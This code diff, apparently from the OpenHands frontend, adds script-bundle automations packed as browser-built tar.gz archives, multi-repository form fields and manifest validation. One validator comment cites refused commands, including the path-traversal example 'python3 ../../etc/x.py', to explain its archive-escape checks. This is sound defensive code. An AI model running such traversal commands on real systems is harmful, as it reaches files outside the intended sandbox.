+ ...OPTIONAL_PLAIN_ENDPOINT_NAMES.filter((name) => name in endpoints),
+ ];
+ plainNames.forEach((name) => {
const value = endpointAt(name);
if (value !== null && /[{}]/.test(value)) {
check.fail(`endpoints.${name}`, "must not carry a substitution");
diff --git a/src/manifests/manifest-actions.ts b/src/manifests/manifest-actions.ts
index 4f5daf88e2..444f45685d 100644
--- a/src/manifests/manifest-actions.ts
+++ b/src/manifests/manifest-actions.ts
@@ -6,9 +6,14 @@
* It chooses between the two outcomes this host offers, and it chooses by
* declaring a `mode`: a direct entry produces a create request the host derives,
* an assisted entry hands setup to a conversation.
+ *
+ * A direct entry that ships a bundle takes one more step before that create
+ * request - packing and uploading the archive - but it still names no host, no
+ * path and no method: the endpoints come from the interface manifest and the
+ * files from the published package.
*/
-import { useCallback } from "react";
+import { useCallback, useRef } from "react";
import AutomationService from "#/api/automation-service/automation-service.api";
import { useCreateConversation } from "#/hooks/mutation/use-create-conversation";
import { useConversationStore } from "#/stores/conversation-store";
@@ -16,7 +21,12 @@ import {
setConversationState,
setPendingTaskDraft,
} from "#/utils/conversation-local-storage";
-import { buildAssistedMessage } from "./automation-setup";
+import {
+ buildAssistedMessage,
+ buildCreatePayload,
+ isBundleEntry,
+} from "./automation-setup";
+import { packBundle } from "./manifest-bundle";
import type { SetupEntry, SetupFormValues, SetupRequestBody } from "./types";
export interface SetupActionResult {
@@ -30,6 +40,14 @@ export function useSetupAction() {
(state) => state.setMessageToSend,
);
+ // The last archive uploaded, and what the service called it. An upload that
+ // is followed by a create the service rejects cannot be taken back - the
+ // interface declares no endpoint for that - so confirming again after
+ // correcting a field sends the archive that is already there rather than
+ // leaving another copy of it behind. The archive is a pure function of the
+ // entry and the answers, which is what makes the key sound.
+ const uploadedRef = useRef<{ key: string; path: string } | null>(null);
+
const startConversation = useCallback(
async (message: string): Promise<SetupActionResult> => {
const conversation = await createConversation.mutateAsync({});
@@ -63,7 +81,33 @@ export function useSetupAction() {
if (!payload) {
return startConversation(buildAssistedMessage(entry, values));
}
- const response = await AutomationService.createAutomationDraft(payload);
+
+ // A bundle entry ships a script rather than a prompt, so what it creates
+ // from is an archive: pack it with the rendered config, upload it, and
+ // create against the path that came back. The payload built for the form
+ // carries a stand-in path, which is replaced here with the real one.
+ if (isBundleEntry(entry)) {
+ const key = `${entry.id}\n${JSON.stringify(values)}`;
+ let tarballPath = uploadedRef.current?.path ?? null;
+ if (uploadedRef.current?.key !== key || tarballPath === null) {
+ const archive = await packBundle(entry, values);
+ tarballPath = await AutomationService.uploadAutomationTarball(
+ entry.id,
+ archive,
+ );
+ uploadedRef.current = { key, path: tarballPath };
+ }
+ const body = buildCreatePayload(entry, values, tarballPath);
+ if (!body) throw new Error(`'${entry.id}' produced no create request.`);
+ return {
+ response: await AutomationService.createAutomationDraft(body, entry),
+ };
+ }
+
+ const response = await AutomationService.createAutomationDraft(
+ payload,
+ entry,
+ );
return { response };
},
[startConversation],
diff --git a/src/manifests/manifest-bundle.ts b/src/manifests/manifest-bundle.ts
new file mode 100644
index 0000000000..777cbbbe6a
--- /dev/null
+++ b/src/manifests/manifest-bundle.ts
@@ -0,0 +1,104 @@
+/**
+ * Packing what a bundle entry ships.
+ *
+ * A bundle's manifest names its files by the repository path they live at; the
+ * contents travel in the published `@openhands/extensions` package, because
+ * this host has the package and not the repository. That indirection is the
+ * whole reason this module exists: everything else about a bundle is derived
+ * the same way a prompt entry's request is.
+ */
+
+import * as automations from "@openhands/extensions/automations";
+import { packTarGzip, type TarFile } from "#/utils/tar-gzip";
+import { buildCreatePayload } from "./automation-setup";
+import { BUNDLE_CONFIG_FILENAME } from "./types";
+import type { SetupBundle, SetupEntry, SetupFormValues } from "./types";
+
+/** The rendered configuration, packed beside the entrypoint. */
+export { BUNDLE_CONFIG_FILENAME };
+
+type BundleFileReader = (id: string) => Record<string, string> | undefined;
+
+/**
+ * The files the pinned package ships for this entry.
+ *
+ * Read defensively: a package predating bundles exports no such function, and
+ * an entry that declares a bundle there would otherwise pack an empty archive
+ * that fails only once a run tries to execute it.
+ */
+export function getBundleFiles(id: string): Record<string, string> {
+ const read = (automations as { getAutomationBundleFiles?: BundleFileReader })
+ .getAutomationBundleFiles;
+ const files = read?.(id);
+ if (!files || Object.keys(files).length === 0) {
+ throw new Error(
+ `The published extensions package ships no bundle files for '${id}'.`,
+ );
+ }
+ return files;
+}
+
+/**
+ * The packed paths the service executes rather than reads.
+ *
+ * The setup script is run through a shell, and the entrypoint's first word is
+ * the program it runs: an entry whose entrypoint is `./main.py` invokes a
+ * packed file directly, and a file packed non-executable would fail at the
+ * moment of running rather than at admission. Every later word is an argument
+ * to that program, so only the first one is a path being executed.
+ */
+function executablePaths(bundle: SetupBundle): Set<string> {
+ const program = bundle.entrypoint.trim().split(" ")[0] ?? "";
+ const invoked = program.replace(/^\.\//, "");
+ return new Set(
+ [bundle.setupScript, invoked in bundle.files ? invoked : undefined].filter(
+ (name): name is string => name !== undefined,
+ ),
+ );
+}
+
+/**
+ * The archive for this entry, with the form's answers rendered into
+ * `config.json`.
+ *
+ * The config is taken from the create payload rather than rendered again here,
+ * so what the tarball carries and what the create request records as template
+ * provenance cannot disagree.
+ */
+export async function packBundle(
+ entry: SetupEntry,
+ values: SetupFormValues,
+): Promise<Uint8Array> {
+ const bundle = entry.setup.bundle;
+ if (!bundle) throw new Error(`'${entry.id}' declares no bundle.`);
+
+ const contents = getBundleFiles(entry.id);
+ const missing = Object.keys(bundle.files).filter(
+ (name) => typeof contents[name] !== "string",
+ );
+ if (missing.length > 0) {
+ throw new Error(
+ `The published extensions package is missing bundle files for ` +
+ `'${entry.id}': ${missing.join(", ")}.`,
+ );
+ }
+
+ const payload = buildCreatePayload(entry, values);
+ const template = payload?.template as { config?: unknown } | undefined;
+
+ const executable = executablePaths(bundle);
+ const files: TarFile[] = Object.keys(bundle.files)
+ .sort()
+ .map((name) => ({
+ name,
+ content: contents[name],
+ mode: executable.has(name) ? 0o755 : 0o644,
+ }));
+
+ files.push({
+ name: BUNDLE_CONFIG_FILENAME,
+ content: `${JSON.stringify(template?.config ?? {}, null, 2)}\n`,
+ });
+
+ return packTarGzip(files);
+}
diff --git a/src/manifests/manifest-error-map.ts b/src/manifests/manifest-error-map.ts
index a2dc4e11b1..8dd9b0dc30 100644
--- a/src/manifests/manifest-error-map.ts
+++ b/src/manifests/manifest-error-map.ts
@@ -107,6 +107,22 @@ export function normalizeServiceErrors(
return [];
}
+/**
+ * The fields behind a payload path.
+ *
+ * The map is derived from a payload where every list holds a single entry, so
+ * a path addressing a later index names the same field the first one does.
+ * Reading every index as the first is what lets an error about the second
+ * repository of a multi-value field reach that field at all, rather than
+ * falling through to a form-level message that points at nothing.
+ */
+function fieldsAt(
+ path: string,
+ errorMap: Record<string, string[]>,
+): string[] | undefined {
+ return errorMap[path] ?? errorMap[path.replace(/\[\d+\]/g, "[0]")];
+}
+
/** Apply the derived payload-path map, falling back to a form-level error. */
export function mapServiceErrors(
errors: readonly ManifestServiceError[],
@@ -118,7 +134,7 @@ export function mapServiceErrors(
const formErrors: string[] = [];
errors.forEach(({ path, message }) => {
- const fields = path ? errorMap[path] : undefined;
+ const fields = path ? fieldsAt(path, errorMap) : undefined;
if (!fields?.length) {
formErrors.push(message);
return;
diff --git a/src/manifests/manifest-local-validation.ts b/src/manifests/manifest-local-validation.ts
index b34b54a85e..2fa1555b8d 100644
--- a/src/manifests/manifest-local-validation.ts
+++ b/src/manifests/manifest-local-validation.ts
@@ -16,6 +16,7 @@ import type {
SetupFieldOption,
SetupFormField,
SetupFormFields,
+ SetupFormValue,
SetupFormValues,
} from "./types";
@@ -84,12 +85,30 @@ export function getFieldOptions(
return overrides[name]?.options ?? field.options ?? [];
}
+/**
+ * Every value a field holds, whether it collects one or many.
+ *
+ * Reading both shapes as a list is what keeps validation, interpolation and
+ * the payload mapping from branching on `multiple` at every use.
+ */
+export function fieldValues(value: SetupFormValue | undefined): string[] {
+ if (Array.isArray(value)) return value.filter((item) => item.trim() !== "");
+ return value && value.trim() !== "" ? [value] : [];
+}
+
+/** The single value a field holds, or "" for a field collecting several. */
+export function fieldText(value: SetupFormValue | undefined): string {
+ return typeof value === "string" ? value : "";
+}
+
/** Initial form state: every declared field, seeded with its declared default. */
export function getInitialFormValues(setup: SetupBlock): SetupFormValues {
return Object.fromEntries(
Object.entries(collectFields(setup)).map(([name, field]) => [
name,
- field.default ?? "",
+ // A field collecting several values starts empty rather than holding one
+ // blank entry, so "required" means "add one" rather than "fill this in".
+ field.multiple ? [] : (field.default ?? ""),
]),
);
}
@@ -97,15 +116,29 @@ export function getInitialFormValues(setup: SetupBlock): SetupFormValues {
function validateField(
name: string,
field: SetupFormField,
- rawValue: string | undefined,
+ rawValue: SetupFormValue | undefined,
overrides: SetupFieldOverrides,
): SetupFieldError | null {
- const value = (rawValue ?? "").trim();
+ const entered = fieldValues(rawValue);
- if (!value) {
+ if (entered.length === 0) {
return field.required ? { code: "required" } : null;
}
+ // Every entry of a multi-value field answers the same field, so each is held
+ // to the same rules and the first failure is the one reported.
+ const failures = entered
+ .map((item) => validateValue(name, field, item.trim(), overrides))
+ .filter((error): error is SetupFieldError => error !== null);
+ return failures[0] ?? null;
+}
+
+function validateValue(
+ name: string,
+ field: SetupFormField,
+ value: string,
+ overrides: SetupFieldOverrides,
+): SetupFieldError | null {
const { minLength, maxLength, format } = field.constraints ?? {};
if (minLength !== undefined && value.length < minLength) {
return { code: "minLength", length: minLength };
diff --git a/src/manifests/manifest-template.ts b/src/manifests/manifest-template.ts
index f7497b60ff..2ddce64579 100644
--- a/src/manifests/manifest-template.ts
+++ b/src/manifests/manifest-template.ts
@@ -30,10 +30,48 @@ function toText(value: unknown): string {
if (typeof value === "number" || typeof value === "boolean") {
return String(value);
}
+ // A multi-value field inside a sentence reads as a list of names.
+ if (Array.isArray(value)) return value.map(toText).filter(Boolean).join(", ");
// Missing values render as blank; callers that care show their own fallback.
return "";
}
+/** A template that is exactly one placeholder, or null if it is not. */
+function wholePlaceholderPath(template: string): string | null {
+ const match = /^\{\{([A-Za-z0-9_]+(?:\.[A-Za-z0-9_]+)*)\}\}$/.exec(template);
+ return match ? match[1] : null;
+}
+
+/** A list of strings, which is the one non-string shape a form value takes. */
+function isStringList(value: unknown): value is string[] {
+ return (
+ Array.isArray(value) && value.every((item) => typeof item === "string")
+ );
+}
+
+/**
+ * Substitute placeholders, keeping the resolved value's own type when the
+ * template is nothing but that placeholder.
+ *
+ * This is what lets a request body state `"repos": "{{form.repositories}}"` and
+ * get an array. Inside a sentence the same placeholder still reads as text,
+ * because there is nowhere for a list to go in a string.
+ *
+ * Only the shapes a form value has are kept whole. A placeholder naming
+ * anything else - `{{automation.setup}}` resolves to the setup block itself -
+ * reads as text like it does inside a sentence, so a manifest cannot state one
+ * value and put its own object graph into the request body.
+ */
+export function interpolateValue(
+ template: string,
+ scope: SetupScope,
+): string | string[] {
+ const path = wholePlaceholderPath(template);
+ if (path === null) return interpolateText(template, scope);
+ const resolved = getByPath(scope, path);
+ return isStringList(resolved) ? resolved : toText(resolved);
+}
+
/** Substitute placeholders inside a template string. */
export function interpolateText(template: string, scope: SetupScope): string {
return template.replace(PLACEHOLDER_PATTERN, (_match, path: string) =>
diff --git a/src/manifests/manifest-validation.ts b/src/manifests/manifest-validation.ts
index da14643a25..ddee35e29a 100644
--- a/src/manifests/manifest-validation.ts
+++ b/src/manifests/manifest-validation.ts
@@ -16,13 +16,25 @@
* partial UI, because everything downstream treats its content as instructions.
*/
-import { SETUP_PLACEHOLDER_NAMESPACES, SETUP_VERSION } from "./types";
+import {
+ BUNDLE_CONFIG_FILENAME,
+ SETUP_PLACEHOLDER_NAMESPACES,
+ SETUP_VERSION,
+} from "./types";
const ENTRY_ID_PATTERN = /^[a-z0-9]+(-[a-z0-9]+)*$/;
const FIELD_NAME_PATTERN = /^[a-z][A-Za-z0-9]*$/;
/** Copy must never be able to inject markup into the host. */
const MARKUP_PATTERN = /<[A-Za-z/!]/;
/** Every `{{` must open a known namespace and close immediately. */
+const BUNDLE_VERSION_PATTERN = /^[0-9]+\.[0-9]+\.[0-9]+$/;
+// The characters a command of plain words and paths is made of. No shell
+// metacharacters, which the service rejects anyway and a bundle has no reason
+// to need; where those words may point is `isPlainCommand`'s to say.
+const BUNDLE_COMMAND_PATTERN = /^[A-Za-z0-9 ._/-]+$/;
+const BUNDLE_PATH_PATTERN = /^[A-Za-z0-9._-]+(\/[A-Za-z0-9._-]+)*$/;
+const BUNDLE_SOURCE_PATTERN =
+ /^(skills|automations)\/[A-Za-z0-9._-]+(\/[A-Za-z0-9._-]+)*$/;
const UNKNOWN_PLACEHOLDER_PATTERN = new RegExp(
`\\{\\{(?!(?:${SETUP_PLACEHOLDER_NAMESPACES.join("|")})\\.[A-Za-z0-9_.]+\\}\\})`,
);
@@ -117,6 +129,45 @@ class SetupChecker {
}
}
+/**
+ * A relative path that stays inside the archive it names.
+ *
+ * The character class alone is not enough: `.` and `..` are made of allowed
+ * characters, so a segment check is what actually keeps a packed file from
+ * climbing out of the directory it is extracted into.
+ */
+function isRelativePath(value: unknown, pattern: RegExp): value is string {
+ return (
+ typeof value === "string" &&
+ pattern.test(value) &&
+ !value.split("/").some((segment) => segment === "." || segment === "..")
+ );
+}
+
+/**
+ * A command whose every word stays inside the archive it is run in.
+ *
+ * The character class is not what keeps it there: `/` and `.` are allowed
+ * characters, so `/bin/sh setup.sh` and `python3 ../../etc/x.py` are made of
+ * them and each names something outside the extracted directory. The segment
+ * rule packed paths are held to is what refuses those, and requiring a word at
+ * all is what refuses an entrypoint of nothing but spaces.
+ */
+function isPlainCommand(value: unknown): value is string {
+ if (typeof value !== "string" || !BUNDLE_COMMAND_PATTERN.test(value)) {
+ return false;
+ }
+ const words = value.split(" ").filter((word) => word.length > 0);
+ return (
+ words.length > 0 &&
+ words.every(
+ (word) =>
+ !word.startsWith("/") &&
+ !word.split("/").some((segment) => segment === ".."),
+ )
+ );
+}
+
function checkRequires(check: SetupChecker, requires: unknown): void {
if (!isRecord(requires)) {
check.fail("requires", "must be an object");
@@ -208,6 +259,18 @@ function checkField(check: SetupChecker, field: unknown, path: string): void {
if (type === "repo-picker" && provider === undefined) {
check.fail(`${path}.provider`, "is required for a repository field");
}
+ // The host branches on this key to decide whether a field's value is a list,
+ // so a field declaring it anywhere else would be seeded with a list and
+ // rendered as a string.
+ if (
+ field.multiple !== undefined &&
+ (field.multiple !== true || type !== "repo-picker")
+ ) {
+ check.fail(
+ `${path}.multiple`,
+ "may only be true, and only on a repository field",
+ );
+ }
if (options !== undefined) {
if (type !== "select") {
@@ -321,6 +384,115 @@ function checkMessage(check: SetupChecker, message: unknown): void {
}
}
+/**
+ * The script tarball a direct entry may ship.
+ *
+ * The strings here are commands and paths this host acts on, so they are held
+ * to a closed character set rather than the placeholder rules copy uses: an
+ * entrypoint with a shell metacharacter, or a packed path that escapes the
+ * archive, is refused here rather than by the service.
+ */
+function checkBundle(check: SetupChecker, bundle: unknown): void {
+ if (!isRecord(bundle)) {
+ check.fail("setup.bundle", "must be an object");
+ return;
+ }
+
+ if (
+ typeof bundle.version !== "string" ||
+ !BUNDLE_VERSION_PATTERN.test(bundle.version)
+ ) {
+ check.fail("setup.bundle.version", "must be a semantic version");
+ }
+ if (!isPlainCommand(bundle.entrypoint)) {
+ check.fail(
+ "setup.bundle.entrypoint",
+ "must be a plain command that stays inside the archive",
+ );
+ }
+ if (
+ bundle.setupScript !== undefined &&
+ !isRelativePath(bundle.setupScript, BUNDLE_PATH_PATTERN)
+ ) {
+ check.fail("setup.bundle.setupScript", "must be a relative path");
+ }
+ if (bundle.timeout !== undefined && !isInteger(bundle.timeout, 1)) {
+ check.fail("setup.bundle.timeout", "must be a positive integer");
+ }
+
+ if (!isRecord(bundle.files) || Object.keys(bundle.files).length === 0) {
+ check.fail("setup.bundle.files", "must be a non-empty object");
+ } else {
+ Object.entries(bundle.files).forEach(([packedPath, source]) => {
+ if (!isRelativePath(packedPath, BUNDLE_PATH_PATTERN)) {
+ check.fail(`setup.bundle.files.${packedPath}`, "is not a packed path");
+ }
+ // The rendered config is packed under this name too, and a tar carrying
+ // the name twice leaves which one the script reads to whichever
+ // extractor unpacks it.
+ if (packedPath === BUNDLE_CONFIG_FILENAME) {
+ check.fail(
+ `setup.bundle.files.${packedPath}`,
+ "is the name the rendered config is packed under",
+ );
+ }
+ if (!isRelativePath(source, BUNDLE_SOURCE_PATTERN)) {
+ check.fail(
+ `setup.bundle.files.${packedPath}`,
+ "must name a file under skills/ or automations/",
+ );
+ }
+ });
+
+ // A setup script the archive does not carry is a create request the
+ // service accepts and the first run fails on, and it is also the only
+ // thing packed executable - naming an unpacked file makes that rule
+ // unreachable.
+ if (
+ typeof bundle.setupScript === "string" &&
+ !(bundle.setupScript in bundle.files)
+ ) {
+ check.fail("setup.bundle.setupScript", "must name a packed file");
+ }
+ }
+
+ if (!isRecord(bundle.config) || Object.keys(bundle.config).length === 0) {
+ check.fail("setup.bundle.config", "must be a non-empty object");
+ } else {
+ checkBundleConfig(check, bundle.config, "setup.bundle.config");
+ }
+}
+
+/** Every string leaf of the config is a payload value: placeholders, no markup rule. */
+function checkBundleConfig(
+ check: SetupChecker,
+ node: unknown,
+ path: string,
+): void {
+ if (typeof node === "string") {
+ check.templateValue(node, path);
+ return;
+ }
+ if (Array.isArray(node)) {
+ node.forEach((item, index) =>
+ checkBundleConfig(check, item, `${path}[${index}]`),
+ );
+ return;
+ }
+ if (isRecord(node)) {
+ Object.entries(node).forEach(([key, value]) =>
+ checkBundleConfig(check, value, `${path}.${key}`),
+ );
+ return;
+ }
+ if (node !== null && typeof node !== "number" && typeof node !== "boolean") {
+ check.fail(
+ path,
+ "must be a string, number, boolean, null, array or object",
+ );
+ }
+}
+
function checkMode(check: SetupChecker, setup: Rec, kinds: string[]): void {
if (!isOneOf(setup.mode, SETUP_MODES)) {
check.fail("setup.mode", "is not a supported mode");
@@ -328,7 +500,21 @@ function checkMode(check: SetupChecker, setup: Rec, kinds: string[]): void {
}
if (setup.mode === "direct") {
- check.templateValue(setup.prompt, "setup.prompt");
+ // A direct entry produces one of two things: a prompt, or a script bundle
+ // the host packs and uploads. Both would be ambiguous, neither is nothing
+ // to create.
+ const hasPrompt = setup.prompt !== undefined;
+ const hasBundle = setup.bundle !== undefined;
+ if (hasPrompt === hasBundle) {
+ check.fail(
+ "setup",
+ "must declare exactly one of prompt or bundle for direct setup",
+ );
+ } else if (hasBundle) {
+ checkBundle(check, setup.bundle);
+ } else {
+ check.templateValue(setup.prompt, "setup.prompt");
+ }
// A direct entry may carry a fallback-conversation seed for deployments
// that cannot run the direct path, held to the same rules as an assisted
// message.
@@ -360,6 +546,7 @@ function checkMode(check: SetupChecker, setup: Rec, kinds: string[]): void {
checkMessage(check, setup.message);
check.absent(setup, "prompt", "setup", "is only allowed for direct setup");
+ check.absent(setup, "bundle", "setup", "is only allowed for direct setup");
check.absent(setup, "filter", "setup", "is only allowed for direct setup");
}
diff --git a/src/manifests/types.ts b/src/manifests/types.ts
index 647c05c934..3a6c1d954e 100644
--- a/src/manifests/types.ts
+++ b/src/manifests/types.ts
@@ -52,6 +52,12 @@ export interface SetupFormField {
default?: string;
required: boolean;
provider?: SetupGitProvider;
+ /**
+ * repo-picker only. The field collects several repositories rather than one,
+ * and its value is a list. A placeholder that is the whole value resolves to
+ * that list, so a payload can state one and get an array.
+ */
+ multiple?: true;
options?: SetupFieldOption[];
constraints?: SetupFieldConstraints;
}
@@ -67,12 +73,53 @@ export interface SetupForm {
args: SetupFormFields;
}
+/** A config.json leaf: templated string, number, boolean, null, or a nesting. */
+export type SetupBundleConfigValue =
+ | string
+ | number
+ | boolean
+ | null
+ | SetupBundleConfigValue[]
+ | { [key: string]: SetupBundleConfigValue };
+
+/**
+ * The name the rendered configuration is packed under, which is therefore a
+ * name a bundle's own files may not claim. Stated here rather than beside the
+ * packing, so admission can refuse the collision without importing it.
+ */
+export const BUNDLE_CONFIG_FILENAME = "config.json";
+
+/**
+ * The script tarball a direct entry may ship instead of a prompt, for an
+ * automation that is deterministic machinery rather than judgement.
+ *
+ * `files` maps a path inside the archive to the repository path the extensions
+ * package read it from; the contents themselves come from that package's
+ * `getAutomationBundleFiles`, because this host has the package and not the
+ * repository.
+ */
+export interface SetupBundle {
+ /** Provenance recorded on the created automation, alongside the entry id. */
+ version: string;
+ /** The command the service runs inside the extracted tarball. */
+ entrypoint: string;
+ /** Script run once before the entrypoint. Absent when nothing to install. */
+ setupScript?: string;
+ /** Seconds a run may take, when the service default is not enough. */
+ timeout?: number;
+ files: Record<string, string>;
+ /** Rendered from the form and packed as config.json. */
+ config: Record<string, SetupBundleConfigValue>;
+}
+
export interface SetupBlock {
version: typeof SETUP_VERSION;
mode: SetupMode;
form: SetupForm;
/** direct only. What the automation is told to do. */
prompt?: string;
+ /** direct only, and the alternative to `prompt`. Exactly one is present. */
+ bundle?: SetupBundle;
/** direct only, event trigger only. Which delivered events belong to it. */
filter?: string;
/**
@@ -123,8 +170,15 @@ export interface SetupRequestBody {
[key: string]: SetupPayloadValue;
}
-/** Form values are collected as strings; the payload mapping shapes them. */
-export type SetupFormValues = Record<string, string>;
+/**
+ * Form values as collected; the payload mapping shapes them.
+ *
+ * A field collecting several values holds a list. Everything else holds a
+ * string, including fields whose value is a number to the service - the
+ * payload mapping is where a value stops being what was typed.
+ */
+export type SetupFormValue = string | string[];
+export type SetupFormValues = Record<string, SetupFormValue>;
/** `GET /v1/capabilities` — what this deployment supports. */
export interface DeploymentCapabilities {
@@ -218,6 +272,13 @@ export interface InterfaceEndpoints {
validate: string;
createPrompt: string;
createPlugin: string;
+ /**
+ * The raw create endpoint, which a bundle entry is created through, and
+ * where its tarball is uploaded first. Optional: a manifest published before
+ * bundles existed declares neither, and is still admitted.
+ */
+ createBundle?: string;
+ uploads?: string;
}
export type InterfaceEndpointName = keyof InterfaceEndpoints;
diff --git a/src/utils/tar-gzip.ts b/src/utils/tar-gzip.ts
new file mode 100644
index 0000000000..dae92f7df3
--- /dev/null
+++ b/src/utils/tar-gzip.ts
@@ -0,0 +1,119 @@
+/**
+ * Packing a handful of text files into a `.tar.gz`, in the browser.
+ *
+ * The automation service accepts a gzipped tar and nothing else, and the only
+ * archives built here are the few small files a catalog bundle ships, so this
+ * writes the original POSIX ustar format directly rather than pulling in a tar
+ * library: 512-byte header, name and metadata as space-padded octal, content
+ * padded to the next 512-byte boundary, two zero blocks to end the archive.
+ * Gzip is the platform's own `CompressionStream`.
+ *
+ * Deliberately not general-purpose. Names must fit ustar's 100-byte field, and
+ * only regular files are written - no directories, links, or long-name
+ * extensions - because a bundle that needed any of those would be packed by
+ * something that also has to unpack them.
+ */
+
+const encoder = new TextEncoder();
+
+const BLOCK_SIZE = 512;
+const NAME_FIELD_SIZE = 100;
+const CHECKSUM_OFFSET = 148;
+const CHECKSUM_SIZE = 8;
+
+export interface TarFile {
+ /** Path inside the archive. Must fit ustar's 100-byte name field. */
+ name: string;
+ content: string;
+ /** Defaults to 0o644. A setup script wants 0o755. */
+ mode?: number;
+}
+
+function header(file: TarFile, name: Uint8Array, size: number): Uint8Array {
+ const block = new Uint8Array(BLOCK_SIZE);
+
+ /** Host-written ASCII: the octal fields and the format's own markers. */
+ const ascii = (offset: number, value: string): void => {
+ for (let index = 0; index < value.length; index += 1) {
+ block[offset + index] = value.charCodeAt(index) & 0x7f;
+ }
+ };
+ /** ustar writes numbers as octal, NUL-terminated, right-aligned with zeros. */
+ const octal = (offset: number, size_: number, value: number): void =>
+ ascii(offset, value.toString(8).padStart(size_ - 1, "0"));
+
+ // The name is the caller's, so it is written as the bytes it encodes to
+ // rather than through `ascii`, whose mask would quietly turn `café.py` into
+ // `cafi.py`. ustar's name field is bytes, and readers take them as UTF-8.
+ block.set(name, 0);
+ octal(100, 8, file.mode ?? 0o644);
+ octal(108, 8, 0); // uid
+ octal(116, 8, 0); // gid
+ octal(124, 12, size);
+ // A fixed mtime keeps the archive byte-identical for identical inputs, so a
+ // re-upload of an unchanged bundle is visibly unchanged.
+ octal(136, 12, 0);
+ block[156] = "0".charCodeAt(0); // regular file
+ ascii(257, "ustar");
+ ascii(263, "00");
+
+ // The checksum is computed with its own field read as spaces, then written
+ // into it as octal followed by NUL and a space.
+ block.fill(0x20, CHECKSUM_OFFSET, CHECKSUM_OFFSET + CHECKSUM_SIZE);
+ const sum = block.reduce((total, byte) => total + byte, 0);
+ ascii(CHECKSUM_OFFSET, sum.toString(8).padStart(6, "0"));
+ block[CHECKSUM_OFFSET + 6] = 0;
+ block[CHECKSUM_OFFSET + 7] = 0x20;
+
+ return block;
+}
+
+/** The uncompressed archive. Exported for tests; callers want `packTarGzip`. */
+export function packTar(files: readonly TarFile[]): Uint8Array<ArrayBuffer> {
+ const blocks: Uint8Array[] = [];
+
+ for (const file of files) {
+ const name = encoder.encode(file.name);
+ if (name.length > NAME_FIELD_SIZE) {
+ throw new Error(`tar: name too long for a ustar header: ${file.name}`);
+ }
+ const content = encoder.encode(file.content);
+ blocks.push(header(file, name, content.length));
+ const padded = new Uint8Array(
+ Math.ceil(content.length / BLOCK_SIZE) * BLOCK_SIZE,
+ );
+ padded.set(content);
+ blocks.push(padded);
+ }
+
+ // Two zero blocks mark the end of the archive.
+ blocks.push(new Uint8Array(BLOCK_SIZE * 2));
+
+ const total = blocks.reduce((size, block) => size + block.length, 0);
+ const archive = new Uint8Array(new ArrayBuffer(total));
+ let offset = 0;
+ for (const block of blocks) {
+ archive.set(block, offset);
+ offset += block.length;
+ }
+ return archive;
+}
+
+/** The gzipped archive, ready to POST as `application/gzip`. */
+export async function packTarGzip(
+ files: readonly TarFile[],
+): Promise<Uint8Array> {
+ const tar = packTar(files);
+ // Streamed from the bytes rather than through a Blob: a Blob's stream() is
+ // absent in the jsdom test environment, and the archive is one chunk anyway.
+ const source = new ReadableStream<BufferSource>({
+ start(controller) {
+ controller.enqueue(tar);
+ controller.close();
+ },
+ });
+ const compressed = new Response(
+ source.pipeThrough(new CompressionStream("gzip")),
+ );
+ return new Uint8Array(await compressed.arrayBuffer());
+}